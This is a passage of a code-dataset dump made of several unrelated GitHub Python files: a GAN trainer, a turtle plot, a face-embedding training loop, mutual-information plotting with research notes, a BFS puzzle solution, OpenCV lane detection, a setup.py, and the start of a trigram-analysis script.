latent_z = torch.cat(\n                            [self.make_hidden(samples.size(0) // 2)] * 2,\n                            dim=0\n                        )\n                    else:\n                        latent_z = self.make_hidden(samples.size(0))\n\n                    x_fake = self.gen(latent_z, theta=thetas)\n                    x_fake_neg = scaler(x_fake)\n                    y_fake = self.dis(x_fake_neg[:, :3])\n                    y_real = self.dis(samples)\n\n                    # gradient penalty\n                    eps = torch.rand(samples.size(0), 1, 1, 1, device=self.device)\n                    eps = eps.expand_as(samples)\n                    x_hat = eps * samples + (1 - eps) * x_fake[:, :3].detach()\n                    x_hat.requires_grad = True\n                    px_hat = self.dis(x_hat)\n                    grad = torch.autograd.grad(outputs=px_hat.sum(), inputs=x_hat, create_graph=True)[0]\n                    grad_norm = grad.view(samples.size(0), -1).norm(2, dim=1)\n                    gradient_penalty = self.lambda_gp * ((grad_norm - 1) ** 2).mean()\n\n                    # D loss\n                    loss_d, real_loss, fake_loss = loss_dis_bce(y_fake, y_real)\n                    loss_d += gradient_penalty\n                    assert not torch.isnan(loss_d.data)\n\n                    loss_rotate = 0.\n                    if use_rotate:\n                        # 3d loss\n                        loss_rotate, warped_dp = self.rotate_3d_loss(\n                            x_fake[:samples.size(0) // 2],\n                            random_camera_matrix[:samples.size(0) // 2],\n                            x_fake[samples.size(0) // 2:],\n                            random_camera_matrix[samples.size(0) // 2:],\n                            epoch >= self.start_occlusion_aware\n                        )\n\n                        if self.lambda_depth > 0:\n                            # depth regularization\n                            loss_rotate += torch.mean(F.relu(self.depth_min - x_fake[:, -1]) ** 2) * self.lambda_depth\n\n                        assert not torch.isnan(loss_rotate.data)\n                        lambda_rotate = 2 if size <= self.out_res else 4\n                        loss_rotate = loss_rotate * lambda_rotate\n\n                    # P loss\n                    loss_g = loss_gen_bce(y_fake)\n                    gamma = get_gradient_ratios(loss_g, fake_loss, y_fake)\n\n                    grad_d_factor = 1. / (1. - gamma)\n                    loss_pack_fake = fake_loss - loss_g\n                    scaled_loss_pack_fake = loss_pack_fake * grad_d_factor\n                    loss_pack = real_loss + torch.mean(scaled_loss_pack_fake) + gradient_penalty + loss_rotate\n                    assert not torch.isnan(loss_pack.data)\n\n                    GradientScaler.factor = gamma\n\n                    # G loss\n                    loss_g = torch.mean(loss_g) + loss_rotate\n                    assert not torch.isnan(loss_g.data)\n\n                    # backpropagate P loss\n                    self.optim_d.zero_grad()\n                    self.optim_g.zero_grad()\n\n                    loss_pack.backward()\n\n                    self.optim_d.step()\n                    self.optim_g.step()\n\n                running_loss_d += loss_d.item()\n                running_loss_g += loss_g.item()\n\n                epoch_loss_d += loss_d.item()\n                epoch_loss_g += loss_g.item()\n\n                if self.osgan:\n                    running_loss_p += loss_pack.item()\n                    epoch_loss_p += loss_pack.item()\n\n                iter_num += 1\n\n                # print current loss\n                if i % 500 == 0:\n                    running_loss_d /= iter_num\n                    running_loss_g /= iter_num\n                    if self.osgan:\n                        running_loss_p /= iter_num\n                    print('iteration: %d, gp: %.2f' % (i, gradient_penalty))\n                    if not self.osgan:\n                        discription = 'loss_d: %.3f   loss_g: %.3f' % (running_loss_d, running_loss_g)\n                    else:\n                        discription = 'loss_d: %.3f   loss_g: %.3f   loss_p: %.3f' \\\n                                      % (running_loss_d, running_loss_g, running_loss_p)\n                    databar.set_description(discription)\n                    iter_num = 0\n                    running_loss_d = 0.\n                    running_loss_g = 0.\n                    if self.osgan:\n                        running_loss_p = 0.\n            epoch_time = time.time() - start\n            print(\"elapsed_time (sec): %.3f\" % epoch_time)\n\n            # get total losses of one epoch\n            epoch_losses_d[epoch - 1] = (epoch_loss_d / tot_iter_num)\n            epoch_losses_g[epoch - 1] = (epoch_loss_g / tot_iter_num)\n            if self.osgan:\n                epoch_losses_p[epoch - 1] = (epoch_loss_p / tot_iter_num)\n\n            # save elapsed time\n            epoch_time_each[epoch - 1] = epoch_time\n            running_time_accum += epoch_time\n            epoch_time_accum[epoch - 1] = running_time_accum\n\n            # get checkpoint and save + generate samples\n            checkpoint = {'gen': self.gen.state_dict(),\n                           'optim_g': self.optim_g.state_dict(),\n                           'dis': self.dis.state_dict(),\n                           'optim_d': self.optim_d.state_dict(),\n                           'epoch_losses_d': epoch_losses_d,\n                           'epoch_losses_g': epoch_losses_g,\n                           'fixed_latent': self.fixed_latent,\n                           'depth': self.gen.depth,\n                           'alpha': self.gen.alpha\n                           }\n            gen_parameters = {\n                'gen': self.gen.state_dict(),\n                'depth': self.gen.depth,\n                'alpha': self.gen.alpha,\n                'out_res': self.out_res\n            }\n\n            with torch.no_grad():\n                self.gen.eval()\n                if self.fid:\n                    real_batch = []\n                    fake_batch = []\n\n                    for i, (real, _) in enumerate(data_loader):\n                        fid_latent = self.make_hidden(batch_size)\n                        thetas = torch.reshape(\n                            torch.tile(torch.tensor([1., 1., 0., 0.]), (batch_size, 1)), (batch_size, 4, 1, 1)\n                        ).to(self.device)\n                        fake = self.gen(fid_latent, theta=thetas)[:, :-1]\n                        real_batch.append(real.type(torch.FloatTensor))\n                        fake_batch.append(fake.type(torch.FloatTensor))\n\n                        if i * batch_size > 2500:\n                            break\n\n                    real_batch = torch.cat(real_batch, dim=0)\n                    fake_batch = torch.cat(fake_batch, dim=0)\n\n                    score = fid_score.calculate_fid_given_batches(real_batch, fake_batch, batch_size=32)\n                    fids[epoch - 1] = score\n                    print(\"fid: %.5f\" % score)\n\n                    # save fid scores via iteration\n                    plt.figure()\n                    plt.plot(fids, '-', color='red', label='FID')\n                    plt.xlabel('iteration')\n                    plt.ylabel('FID')\n                    plt.legend()\n                    plt.tight_layout()\n                    plt.savefig(self.loss_dir + 'fid_iteration')\n                    plt.close()\n\n                    # save fid scores via elapsed time\n                    plt.figure()\n                    plt.plot(epoch_time_accum, fids, '-', color='red', label='FID')\n                    plt.xlabel('elapsed time')\n                    plt.ylabel('FID')\n                    plt.legend()\n                    plt.tight_layout()\n                    plt.savefig(self.loss_dir + 'fid_time')\n                    plt.close()\n\n                if epoch == self.iteration:\n                    torch.save(checkpoint, self.checkpoint_dir + 'checkpoint_epoch_%d.pth' % epoch)\n                    torch.save(gen_parameters, self.weight_dir + 'gen_weight_epoch_%d.pth' % epoch)\n                if self.rgbd:\n                    angle_range = 8\n                    sample_x = generate_sample_rgbd(\n                        self.gen, self.fixed_latent, self.test_y_rotate, angle_range=angle_range, device=self.device)\n                    x, depth = convert_batch_images_rgbd(sample_x, angle_range)\n                    save_batch_sample_rgbd(x, path=self.out_dir + 'size_%i_epoch_%d' % (size, epoch), depth=depth)\n                else:\n                    plt.figure()\n                    out_imgs = self.gen(self.fixed_latent)\n                    out_grid = make_grid(\n                        out_imgs, normalize=True, nrow=4, scale_each=True, padding=int(0.5*(2**self.gen.depth))\n                    ).permute(1, 2, 0)\n                    plt.imshow(out_grid.cpu())\n                    plt.savefig(self.out_dir + 'size_%i_epoch_%d' % (size, epoch))\n                    plt.close()\n\n                # save elapsed time via iteration\n                plt.figure()\n                plt.plot(epoch_time_each, '-', color='red', label='elapsed time')\n                plt.xlabel('iteration')\n                plt.ylabel('elapsed time')\n                plt.legend()\n                plt.tight_layout()\n                plt.savefig(self.loss_dir + 'time_iteration')\n                plt.close()\n\n                # save loss graph\n                if not self.osgan:\n                    save_loss_graph(epoch_losses_d, epoch_losses_g, path=self.loss_dir + 'loss_iteration')\n                    save_loss_graph(epoch_losses_d, epoch_losses_g, path=self.loss_dir + 'loss_time', x=epoch_time_accum)\n                else:\n                    save_loss_graph(\n                        epoch_losses_d, epoch_losses_g, path=self.loss_dir + 'loss_iteration', p=epoch_losses_p\n                    )\n                    save_loss_graph(\n                        epoch_losses_d, epoch_losses_g, path=self.loss_dir + 'loss_time', x=epoch_time_accum, p=epoch_losses_p\n                    )\n\n                # save all results in txt file\n                txt = open(self.loss_dir + 'train_log.txt', 'at')\n                if self.osgan:\n                    if self.fid:\n                        txt.write(\n                            'epoch:%d,d_loss:%.6f,g_loss:%.6f,p_loss:%.6f,fid:%.6f,elapsed_time:%.6f\\n' % (\n                                epoch,\n                                epoch_losses_d[epoch - 1],\n                                epoch_losses_g[epoch - 1],\n                                epoch_losses_p[epoch - 1],\n                                fids[epoch - 1],\n                                epoch_time_each[epoch - 1]\n                            )\n                        )\n                    else:\n                        txt.write(\n                            'epoch:%d,d_loss:%.6f,g_loss:%.6f,p_loss:%.6f,elapsed_time:%.6f\\n' % (\n                                epoch,\n                                epoch_losses_d[epoch - 1],\n                                epoch_losses_g[epoch - 1],\n                                epoch_losses_p[epoch - 1],\n                                epoch_time_each[epoch - 1]\n                            )\n                        )\n                else:\n                    if self.fid:\n                        txt.write(\n                            'epoch:%d,d_loss:%.6f,g_loss:%.6f,fid:%.6f,elapsed_time:%.6f\\n' % (\n                                epoch,\n                                epoch_losses_d[epoch - 1],\n                                epoch_losses_g[epoch - 1],\n                                fids[epoch - 1],\n                                epoch_time_each[epoch - 1]\n                            )\n                        )\n                    else:\n                        txt.write(\n                            'epoch:%d,d_loss:%.6f,g_loss:%.6f,elapsed_time:%.6f\\n' % (\n                                epoch,\n                                epoch_losses_d[epoch - 1],\n                                epoch_losses_g[epoch - 1],\n                                epoch_time_each[epoch - 1]\n                            )\n                        )\n                txt.close()\n\n\n","repo_name":"sihan827/RGBD-GAN-pytorch","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":21968,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"69855032681","text":"import turtle\nimport math\nwdth = 800; hgth = 800; bgstring = \"#ffffff\"\nred = \"#cc0000\"; green = \"#00cc00\"; blue = \"#0000cc\"\n\ndef grid(t):\n\tx = 0; y = 0\n\twhile (x < 400):\n\t\tt.color(green)\n\t\tt.penup()\n\t\tt.goto(x,y)\n\t\tt.pendown()\n\t\tt.goto(x,y+400)\n\t\tx = x + 50\n\tx = 0; y = 0\n\twhile (y < 400):\n\t\tt.penup()\n\t\tt.goto(x,y)\n\t\tt.pendown()\n\t\tt.goto(x+400,y)\n\t\ty = y + 50\n\tt.color('orange')\n\tstyle = ('Courior', 20, 'bold')\n\tt.write('Circle Circumference and Diameter', font=style, align='right')\n\tt.penup()\n\tt.goto(150,-50)\n\tt.pendown()\n\tt.write('Diameter', font=style, align='left')\n\tt.penup()\n\tt.goto(-130,180)\n\tt.pendown()\n\tt.write('Circumference', font=style, align='center')\n\tt.penup()\n\ndef plotCircles(t):\n\td =  [12.8, 1.8, 19.8, 8.7] \n\tc =  [3*12.8,  3*1.8, 3*19.7, 3* 8.7] \n\tdsorted = sorted (d, key = float)\n\tcsorted = sorted(c , key = float)\n\tt.goto(0,0)\n\tt.color(red)\n\tt.pendown()\n\tt.dot(3, blue)\n\tt.goto(dsorted[0],csorted[0])\n\tt.dot(3, blue)\n\tt.goto(dsorted[1],csorted[1])\n\tt.dot(3, blue)\n\tt.goto(dsorted[2],csorted[2])\n\tt.dot(3, blue)\n\tt.goto(dsorted[3],csorted[3])\n\tt.dot(3, blue)\n\t\ndef main():\n\ttry:\n\t\tturtle.TurtleScreen._RUNNING = True\n\t\t# get wdth and hgth globally\n\t\tturtle.screensize(canvwidth=wdth, canvheight=hgth, bg=bgstring)\n\t\tprint(turtle.Screen().screensize())\n\t\tw = turtle.Screen()\n\t\tt = turtle.Turtle()\n\t\tt.hideturtle()\n\t\tgrid(t)\n\t\tplotCircles(t)\n\t\tw.exitonclick()\n\tfinally:\n\t\tturtle.Terminator()\n\t\nif __name__ == '__main__':\n\tmain()\n","repo_name":"CyberCrypter2810/python-2019-2020","sub_path":"group_code/turtle/plot-circle-list-gm.py","file_name":"plot-circle-list-gm.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7685637005","text":"import torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom utils import upload_paths\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import f1_score, roc_auc_score\nfrom config_ import config\nfrom models import Baseline\nfrom datasets import ContrastiveFaceDataset\nfrom models import ArcFaceLoss, ContrastiveSigmoidWrapper\nfrom tqdm.auto import tqdm\nfrom torch.amp import autocast\n\n\nclass ROC_AUC(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n    \n    def forward(self, x: torch.Tensor, y: torch.Tensor):\n        with torch.inference_mode():\n            pred = torch.sigmoid(x).round().detach().cpu().numpy()\n            y = y.detach().cpu().numpy()\n        return roc_auc_score(y, pred)\n\n\nclass F1(nn.Module):\n    def __init__(self) -> None:\n        super().__init__()\n    \n    def forward(self, x, y):\n        with torch.inference_mode():\n            pred = torch.sigmoid(x).round().detach().cpu().numpy()\n            y = y.detach().cpu().numpy()\n        return f1_score(y, pred)\n\n\nclass Trainer:\n    losses = {\n        \"arcface_loss\": ArcFaceLoss,\n        \"modified_bce\": ContrastiveSigmoidWrapper,\n        \"cosine_embedding_loss\": nn.CosineEmbeddingLoss\n    }\n\n    def __init__(self) -> None:\n\n        self.f1_score = F1()\n        self.best_f1 = 0\n\n        self.model = Baseline()\n        self.model.to(config.device)\n        self.optimizer = torch.optim.AdamW(self.model.parameters(),\n                                            lr=config.lr, weight_decay=config.weight_decay)\n        self.criterion = self.losses[config.loss]()\n\n        dataset = upload_paths()\n        train_data, val_data = train_test_split(dataset, test_size=config.validation_data_ratio)\n        train_dataset = ContrastiveFaceDataset(img_paths=train_data, train=True)\n        val_dataset = ContrastiveFaceDataset(img_paths=val_data, train=False)\n\n        self.train_dataloader = DataLoader(train_dataset, batch_size=config.batch_size, shuffle=True)\n        self.val_dataloader = DataLoader(val_dataset, batch_size=config.batch_size, shuffle=False)\n    \n    def measure_metrics(self, outputs, labels):\n        return self.f1_score(outputs, labels)\n\n    def fit(self):\n        print(f\"training starts on {config.device_str}\")\n        self.model.to(config.device)\n\n        for epoch in range(1, config.num_epochs + 1):\n            self.train_epoch(epoch)\n            self.validate_epoch(epoch)\n\n    def train_epoch(self, epoch):\n        self.model.train()\n\n        pbar = tqdm(\n            enumerate(self.train_dataloader), \n            total = len(self.train_dataloader),\n            desc = f\"Epoch(train) {epoch} \")\n        running_loss = 0\n\n        for idx, (img1, img2, label) in pbar:\n            img1 = img1.to(config.device)\n            img2 = img2.to(config.device)\n            label = label.to(config.device)\n\n            self.optimizer.zero_grad()\n            \n            with autocast(device_type=config.device_str):\n                embedding1 = self.model(img1)\n                embedding2 = self.model(img2)\n                loss = self.criterion(embedding1, embedding2, label.float())\n\n            running_loss += loss.item()\n\n            pbar.set_postfix(\n                dict(loss = round(running_loss / (idx + 1), 5)))\n\n            loss.backward()\n            nn.utils.clip_grad_norm_(self.model.parameters(), config.max_grad_norm)\n            self.optimizer.step()\n\n\n    def validate_epoch(self, epoch):\n        self.model.eval()\n\n        pbar = tqdm(\n            enumerate(self.val_dataloader), \n            total = len(self.val_dataloader),\n            desc = f\"Epoch(validation) {epoch} \")\n        \n        running_loss = 0\n        running_f1 = 0\n\n        for idx, (img1, img2, label) in pbar:\n            img1 = img1.to(config.device)\n            img2 = img2.to(config.device)\n            label = label.to(config.device)\n\n            with torch.no_grad():\n                emb1 = self.model(img1)\n                emb2 = self.model(img2)\n                pred = (emb1 - emb2).pow(2).sum(1)\n            \n            running_loss += self.criterion(emb1, emb2, label.float()).item()\n            \n            f1 = self.measure_metrics(pred, label)\n            running_f1 += f1\n\n            pbar.set_postfix(\n                dict(\n                    f1 = round(running_f1 / (idx + 1), 5),\n                    loss = round(running_loss/(idx + 1), 5)\n                )\n            )\n\n            if running_f1 / (idx + 1) > self.best_f1:\n                self.best_f1 = running_f1 / (idx + 1)\n                torch.save(self.model.state_dict(), config.best_weights_path)\n                print(f\"saved model weights at: {config.best_weights_path}\")","repo_name":"zzmtsvv/face_metric_learning","sub_path":"train_loop.py","file_name":"train_loop.py","file_ext":"py","file_size_in_byte":4702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"447159144","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndirectory = \"./test5_1\"\nfrequency = 500\nmi_estimation_method = \"middd\"\nbins = \"1_33\"\n# bins = \"pi/2_333\"\n\nif bins == \"1_33\":\n    file_name = \"/test_mi_\"\nelif bins == \"pi/2_333\":\n    file_name = \"/test_mi_new_bins_\"\nelse:\n    raise Exception\n\n\ndef rand_jitter(arr):\n    stdev = .01*(max(arr)-min(arr))\n    return arr + np.random.randn(len(arr)) * stdev\n\n\ndef jitter(x, y, s=20, c='b', marker='o', cmap=None, norm=None, vmin=None, vmax=None, alpha=None, linewidths=None, verts=None, hold=None, **kwargs):\n    return plt.scatter(rand_jitter(x), rand_jitter(y), s=s, c=c, marker=marker, cmap=cmap, norm=norm, vmin=vmin, vmax=vmax, alpha=alpha, linewidths=linewidths, verts=verts, hold=hold, **kwargs)\n\n\nfor j in range(10):\n    data = pd.ExcelFile(directory + file_name + str(j*frequency) + \".xlsx\")\n    plt.subplot(5, 2, j + 1)\n    plt.xlim((0, 12))\n    plt.ylim((-0.1, 1.1))\n    if j < 2 or True:\n        plt.title(\"Epoch \" + str(j*frequency))\n    if j % 2 == 0 or True:\n        plt.ylabel(\"I(Y,T)\")\n    if j > 7:\n        plt.xlabel(\"I(X,T)\")\n    # plt.axis(\"equal\")\n    # plt.gca().set_aspect('equal', adjustable='box')\n    for i, sheetname in enumerate(data.sheet_names):\n        if sheetname == mi_estimation_method:\n            data_frame = np.array(data.parse(sheetname=sheetname)).T\n            print(i, sheetname)\n            print(data_frame.T)\n            break\n    plt.scatter(data_frame[0], data_frame[1], c=np.linspace(0, 1, 8))\nplt.show()\n\n\n# weight decay (L2 regularisation)\n# Two functions with some shared and some unique information\n# how weights change?\n# Partial information theory\n# Noisy copy of label\n# Just with more epochs (1)\n# moitor gradients and weights (2)\n# normalised gradients\n# Two functions (4) or one function and calculate partial stuff yourself\n# Noisy copy (5)\n\n# information decomposition (4)\n# Divide 12 inputs to 2 xors, that always have the same bit (fewer  inputs).\n\n# analog to digital, relu.\n\n# check weights when learning XOR. Prove something.\n\n\n\n\n\n# Check what if happens if you sample 4096 samples randomly etc.\n# Its not the number of samples but probably probability distribution.\n\n# Check if 0.5 makes sense.\n# p - true label\n# q - output\n\n# L(x, N) = p(x) log (1/q(x)) + (1-p(x)) log (1/(1-q(x)))\n# N - network?\n\n# L'(x,N) = |round(g(x))-p(x)|\n#\n\n\n# Activation larger range, if all the samples.\n\n\n# what is the minimum number of samples you need to approximate the function.\n# Or how to sample to get better results.\n\n# the amount of outliers is large.\n\n# change the function to sum of variables.\n\n# See what happes without outliers and with outliers (from one side or the other).\n\n# possible problems: more outliers,\n\n\n# stable distributions.\n\n# increasing the number of inputs.\n\n\n# information distribution in the input - how it affects the compression. How it affects the ability to learn.\n# Dimensionality is also interesting.\n\n\n# take a function that does not have synergistic information and see if it does the same.\n# Outliers more general. Then it should not matter how much synergistic etc information there is.\n\n# sample 3000 samples, but differently (for example, taking a random number between 0 and 12 and this will be the number of ones)\n# or from 0 to 24 (20, 17, etc) and mod 12.\n# or from all the vectors that have certain number of ones take them a certain number.\n\n\n# Concentration of measure - sampling randomly from a function\n\n# Dirk - if you go up with n, it will become even more difficult to learn XOR.\n# How things scale. Outliers become exponentially more rare.\n\n# Checkerboard pattern. Tradeoff between larger range and pattern squeezed together.\n\n# if small number of variance has a lot of influence, then the fourier transform is concentrated on small sets.\n# if large number, then more flat.\n# Sample a function that has a certain influence?\n\n# majority function - everybody has least influence.\n\n# 5 boxes of input which we XOR, each box has majority rule inside it. Parameter of influence - ratio between XOR and majority.\n# manifold - fold. ones are points in a space. Each layer applies a transformation.\n\n# Only non-negative weights?\n\n# Parity with one (maybe two) hidden layers, with (n log n) nodes.\n\n# training a network gives you a random local minimum.\n\n# Create objective, like linear programming task.\n\n# How things scale - control everything change one thing.\n\n# If information is spread, it is harder for the network to learn (maybe needs more hidden layers). Concentrated - good. Folding is easier.\n\n\n# Add like 2 nodes to each layer, Dirks conjecture is that then it would work with all 4096 inputs.\n# how to we then test the function on unseen data?\n\n# 3000 for 12. What is the 3000 for larger values?\n# Find the number of inputs for which the \"normal distribution\" width is 13.\n\n# Using larger neural network to find a\n# Trying larger XORs to see how the learnibility scales? Outscale the input so that the\n# Making it larger to be able to put in all the 4096 samples and it would learn it.\n\n\n# batch normalisation - multiplying (weight?) with a factor\n\n#first try with\n\n\n\n\n\n\n\n# Compare gradients\n# Batch size vs\n\n\n\n\n\n\n\n# Automated theorem checking\n# Dataset of proofs (low level steps)\n# Predicting sequence elements\n\n# Force some weights to be the same (constrained). Translational invariance\n# Scaling invariance similarly\n# Rotation invariance\n\n# neural network translate to finite state automata\n\n# fixed parameter tracing? kernelazation\n# local algorithm - navigating in solution space\n# navigate in problem space while preserving solution\n\n# learn Gaussian elimination. Reinforcement learning, measure of diagonality as reward\n# Actions - can be continuous.\n# Navigate to problems that preserve the solutions\n# 5-coloring?\n\n# input = state, output is quality of different actions.\n# Markov decision process.\n\n\n\n","repo_name":"kahvel/Black-Box","sub_path":"src/plot_generator.py","file_name":"plot_generator.py","file_ext":"py","file_size_in_byte":5888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71206367399","text":"from collections import deque\n\ntunnel = {\n    1: ((0,-1),(0,1),(1,0), (-1,0)),\n    2: ((-1,0),(1,0)),\n    3: ((0,-1),(0,1)),\n    4: ((-1,0),(0,1)),\n    5: ((0,1), (1,0)),\n    6: ((0,-1), (1,0)),\n    7: ((0,-1), (-1,0))\n}\n\n\ndef BFS(r, c, l):\n    global N, M\n    queue = deque([(r,c,maps[r][c], 1)])\n    maps[r][c] = 0\n    cnt = 1\n    while queue:\n        n = queue.popleft()\n        if n[3] < l:\n            for d in tunnel[n[2]]:\n                nx, ny = n[0]+d[0], n[1]+d[1]\n                if 0<=nx<N and 0<=ny<M and maps[nx][ny] and (-d[0], -d[1]) in tunnel[maps[nx][ny]]:\n                    queue.append((nx, ny, maps[nx][ny], n[3]+1))\n                    maps[nx][ny] = 0\n                    cnt += 1\n    return cnt\n\n\n\nfor tc in range(1, int(input())+1):\n    # 세로 크기 N, 가로 크기 M, 맨홀 뚜껑이 위치한장소의 세로 위치 R, 가로 위치 C, 그리고 탈출 후 소요된 시간 L \n    N, M, R, C, L = map(int, input().split())\n    # 그 다음 N 줄에는 지하 터널 지도 정보가 주어지는데, 각 줄마다 M 개의 숫자가 주어진다.\n    maps = [list(map(int, input().split())) for _ in range(N)]\n    print(f'#{tc}', BFS(R, C, L))","repo_name":"kyeah01/Problem_Solving","sub_path":"code/SWEA/1953_탈주범_검거2.py","file_name":"1953_탈주범_검거2.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34533752215","text":"'''\nCreated on Jan 12, 2019\n\n@author: Mukesh Kumar Singh\n'''\nimport numpy as np\nimport cv2\nimport os, glob\nimport matplotlib.pyplot as plt\n\n\ndef showImages(images, cmap=None):\n    cols = 2\n    rows = (len(images) + 1) // cols\n    \n    plt.figure(figsize=(10, 11))\n    for i, image in enumerate(images):\n        plt.subplot(rows, cols, i + 1)\n        # use gray scale color map if there is only one channel\n        cmap = 'gray' if len(image.shape) == 2 else cmap\n        plt.imshow(image, cmap=cmap)\n        plt.xticks([])\n        plt.yticks([])\n    plt.tight_layout(pad=0, h_pad=0, w_pad=0)\n    plt.show()\n\n\ndef make_line_points(y1, y2, line):\n    \"\"\"\n    Convert a line represented in slope and intercept into pixel points\n    \"\"\"\n    if line is None:\n        return None\n    \n    slope, intercept = line\n    \n    # make sure everything is integer as cv2.line requires it\n    x1 = int((y1 - intercept) / slope)\n    x2 = int((y2 - intercept) / slope)\n    y1 = int(y1)\n    y2 = int(y2)\n    \n    return np.array([x1, y1, x2, y2])\n\n\ndef avgSlope(image, lines):\n    leftLine = []\n    left_weights = []  # (length,)\n    rightLine = []\n    right_weights = []  # (length,)\n    \n    for line in lines:\n        x1, y1, x2, y2 = line.reshape(4)\n        if (x2 - x1)!=0:\n            slope = (y2 - y1) / (x2 - x1)\n            intercept = y1 - slope * x1\n            length = np.sqrt((y2 - y1) ** 2 + (x2 - x1) ** 2)\n            if slope < 0:\n                leftLine.append((slope, intercept))\n                left_weights.append((length))\n            else:\n                rightLine.append((slope, intercept))\n                right_weights.append((length))\n                \n    left_lane = np.dot(left_weights, leftLine) / np.sum(left_weights)  if len(left_weights) > 0 else None\n    right_lane = np.dot(right_weights, rightLine) / np.sum(right_weights) if len(right_weights) > 0 else None        \n    y1 = image.shape[0]\n    y2 = y1 * 0.6\n    left_line = make_line_points(y1, y2, left_lane)\n    right_line = make_line_points(y1, y2, right_lane)\n    return np.array([left_line, right_line])\n\n\ndef cannyAlgo(image):\n    gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n    blur = cv2.GaussianBlur(gray, (5, 5), 0)\n    canny = cv2.Canny(blur, 50, 150)\n    return canny\n\n\ndef displayLines(image, lines):\n    lineImage1 = np.zeros_like(image)\n    if lines is None:\n        print(lines)\n    else: \n        try:\n            for line in lines:\n                x1, y1, x2, y2 = line.reshape(4)\n                cv2.line(lineImage1, (x1, y1), (x2, y2), (255, 0, 255), 10)\n        except AttributeError:\n            print(\"shape not found\")\n    return lineImage1\n\n\ndef regionSelectInLane(image):\n    imshape = image.shape\n    #poly = np.array([[(20, imshape[0]), (450, 310),(490, 310), (imshape[1], imshape[0])]], dtype=np.int32)\n    poly = np.array([[(100, imshape[0]), (450, 310),(490, 310), (imshape[1], imshape[0])]], dtype=np.int32)\n    mask = np.zeros_like(image)\n    cv2.fillPoly(mask, poly, 255)\n    maskedImage = cv2.bitwise_and(image, mask)\n    return maskedImage\n\n\ndef drawLaneOnImage(image):\n    laneImage = np.copy(image)\n    canyImage = cannyAlgo(laneImage)\n    cropedImage = regionSelectInLane(canyImage)\n    lines = cv2.HoughLinesP(cropedImage, 2, np.pi / 180, 15, np.array([]), minLineLength=5, maxLineGap=2)\n    print(lines)\n    try:\n        avgLines = avgSlope(laneImage, lines)\n        lineImage = displayLines(laneImage, avgLines)\n        comboImage = cv2.addWeighted(image, 0.8, lineImage, 1, 0)\n    except AttributeError:\n            print(\"shape not found\")   \n    return comboImage\n\nlane_images = []\ntest_images = [cv2.imread(path) for path in glob.glob('test_images/*.jpg')]\n\nfor image in test_images:\n    lane_images.append(drawLaneOnImage(image))\nshowImages(lane_images)    \n\n#cap = cv2.VideoCapture(\"test_videos/solidWhiteRight.mp4\")\n# cap=cv2.VideoCapture(\"test_videos/solidYellowLeft.mp4\")\ncap = cv2.VideoCapture(\"test_videos/challenge.mp4\")\nwhile(cap.isOpened()):\n    _, color_frame = cap.read()\n    cv2.imshow(\"result\", drawLaneOnImage(color_frame))\n    cv2.waitKey(50)\n                             \n","repo_name":"mukeshk05/Finding-Lane-Lines-on-the-Road","sub_path":"FindingLaneInVideo.py","file_name":"FindingLaneInVideo.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38483877498","text":"import setuptools\n\n# Reads the content of your README.md into a variable to be used in the setup below\ndef readme():\n    with open(\"README.md\", encoding='utf-8') as f:\n        README = f.read()\n    return README\n\nsetuptools.setup(\n    name='classification_transformers',                           # should match the package folder\n    packages=['classification_transformers'],                     # should match the package folder\n    version='0.0.1',                                # important for updates\n    #license='MIT',                                  # should match your chosen license\n    description='Use the package for easy configuration of the huggingface models',\n    long_description=readme(),              # loads your README.md\n    long_description_content_type=\"text/markdown\",  # README.md is of type 'markdown'\n    author='Harshad Patil',\n    author_email='hhpatil001@gmail.com',\n    url='https://github.com/harshad317/custom_transformers', \n    #project_urls = {                                # Optional\n    #    \"Bug Tracker\": \"https://github.com/mike-huls/toolbox_public/issues\"\n    #},\n    install_requires=['requests'],                  # list all packages that your package uses\n    keywords=[\"pypi\", \"mikes_toolbox\", \"tutorial\"], #descriptive meta-data\n    classifiers=[                                   # https://pypi.org/classifiers\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python :: 3.7',\n        'Programming Language :: Python :: 3.9',\n        'Programming Language :: Python :: 3.10',\n    ],\n    \n)   ","repo_name":"harshad317/custom_transformers","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18234498999","text":"#imports\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport itertools\nimport collections\nimport nltk\nfrom nltk import trigrams\nfrom nltk.corpus import stopwords\nimport re\nimport networkx as nx\nimport warnings\nimport sqlalchemy\nimport string\nimport math\nfrom sqlalchemy import create_engine\nfrom tokenizer import *\nimport json\nfrom matplotlib.colors import rgb2hex\n\n#seaborn settings\nsns.set(font_scale=1.5)\nsns.set_style(\"whitegrid\")\n\n#allow use of arguments\nimport argparse\narg_parser = argparse.ArgumentParser()\narg_parser.add_argument(\"--type\", help=\"Specify whether to use posts or comments. Default is comments.\", choices=['posts','comments'], default='comments')\narg_parser.add_argument(\"--pages\", help=\"Specify whether to use all facebook pages, only US facebook pages, or only Guyana faebook pages. Default is us\", choices=['all','us','guy'], default='us')\narg_parser.add_argument(\"--date\", help=\"Earliest date for posts/comments in format YYYY-MM-DD. Default is 2019-04-01.\", default=\"2019-04-01\")\narg_parser.add_argument(\"--num_trigrams\", help=\"Number of trigrams to show in barchart and graph. Default is 30.\", type=int, default=30)\narg_parser.add_argument(\"--ignore\", help=\"Ignore warnings\", 